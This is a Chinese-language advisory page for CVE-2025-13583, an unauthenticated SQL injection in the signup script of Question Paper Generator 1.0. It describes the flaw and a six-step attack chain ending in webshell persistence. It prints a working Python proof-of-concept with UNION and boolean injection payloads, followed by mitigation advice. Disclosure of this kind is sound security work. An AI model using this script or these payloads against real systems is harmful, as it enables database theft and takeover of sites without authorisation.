IPBUF安全漏洞报告
English
CVE-2025-13583 CVSS 7.3 高危

CVE-2025-13583 code-projects Question Paper Generator SQL注入漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-13583
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Question Paper Generator 1.0

相关标签

SQL注入CVE-2025-13583Question Paper Generatorcode-projects高危漏洞远程代码执行Web应用安全PHP漏洞

漏洞概述

CVE-2025-13583是code-projects平台开发的Question Paper Generator 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/signupscript.php文件中,由于对用户提交的POST参数Fname缺乏有效的输入验证和过滤,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。漏洞的CVSS评分为7.3,属于高危级别,攻击向量为网络形式,无需认证和用户交互即可远程利用。该漏洞已被公开披露并出现利用代码,对使用该系统的教育机构和企业构成严重安全威胁。成功利用此漏洞可导致敏感数据库信息泄露、用户凭证窃取,甚至可能实现远程代码执行。

技术细节

该SQL注入漏洞位于Question Paper Generator 1.0的注册功能模块中,具体在/signupscript.php文件的POST参数处理部分。漏洞根源在于程序对Fname参数的处理直接将其拼接到SQL查询语句中,未使用参数化查询或预编译语句。攻击者可通过构造包含SQL元字符的payload,如使用UNION SELECT、布尔盲注或时间盲注技术,绕过前端输入限制并执行任意SQL命令。典型利用方式包括:1)使用单引号触发SQL语法错误确认漏洞存在;2)通过UNION注入获取数据库版本、当前数据库名及表结构信息;3)利用盲注技术提取敏感用户数据。由于系统可能使用默认配置且缺乏安全防护机制,攻击者可逐步获取管理员账户信息,进而控制整个应用程序。

攻击链分析

STEP 1
步骤1
信息收集:攻击者访问目标网站,确认Question Paper Generator 1.0的安装路径和版本信息
STEP 2
步骤2
漏洞探测:访问/signupscript.php注册页面,使用单引号等特殊字符测试Fname参数是否存在SQL注入
STEP 3
步骤3
注入验证:通过构造UNION SELECT语句或布尔盲注确认漏洞存在并获取数据库类型
STEP 4
步骤4
数据提取:利用UNION注入或时间盲注技术逐步提取数据库表结构、用户表及敏感信息
STEP 5
步骤5
权限提升:获取管理员账户后登录后台管理系统,进一步控制应用程序
STEP 6
步骤6
持久化控制:上传webshell或修改数据库内容,实现长期远程控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13583 SQL Injection PoC # Target: code-projects Question Paper Generator 1.0 # Vulnerability: SQL Injection in /signupscript.php (Fname parameter) def exploit_sqli(url, payload): """ Exploit SQL injection vulnerability in Fname parameter """ target_url = f"{url}/signupscript.php" # Malicious payload for SQL injection data = { 'Fname': payload, 'Lname': 'test', 'email': '[email protected]', 'uname': 'testuser', 'pass': 'testpass123' } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13583.py <target_url>") print("Example: python cve-2025-13583.py http://localhost/question-paper-generator") sys.exit(1) base_url = sys.argv[1].rstrip('/') print("[*] CVE-2025-13583 SQL Injection Tester") print(f"[*] Target: {base_url}") # Test 1: Basic injection to confirm vulnerability print("\n[1] Testing basic SQL injection...") payload = "' OR '1'='1" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") # Test 2: Database version detection print("\n[2] Testing database version detection...") payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL--" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") # Test 3: Current database detection print("\n[3] Testing current database detection...") payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL--" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") print("\n[!] Note: Modify payload based on actual application response") if __name__ == "__main__": main()

影响范围

code-projects Question Paper Generator 1.0

防御指南

临时缓解措施
在生产环境中暂时禁用注册功能或限制对/signupscript.php的访问;对所有用户输入实施严格的输入验证,使用白名单机制过滤特殊字符;部署Web应用防火墙规则拦截可疑的SQL注入请求;临时解决方案可考虑在前端增加JavaScript输入验证,但需注意攻击者可绕过客户端验证直接发送恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表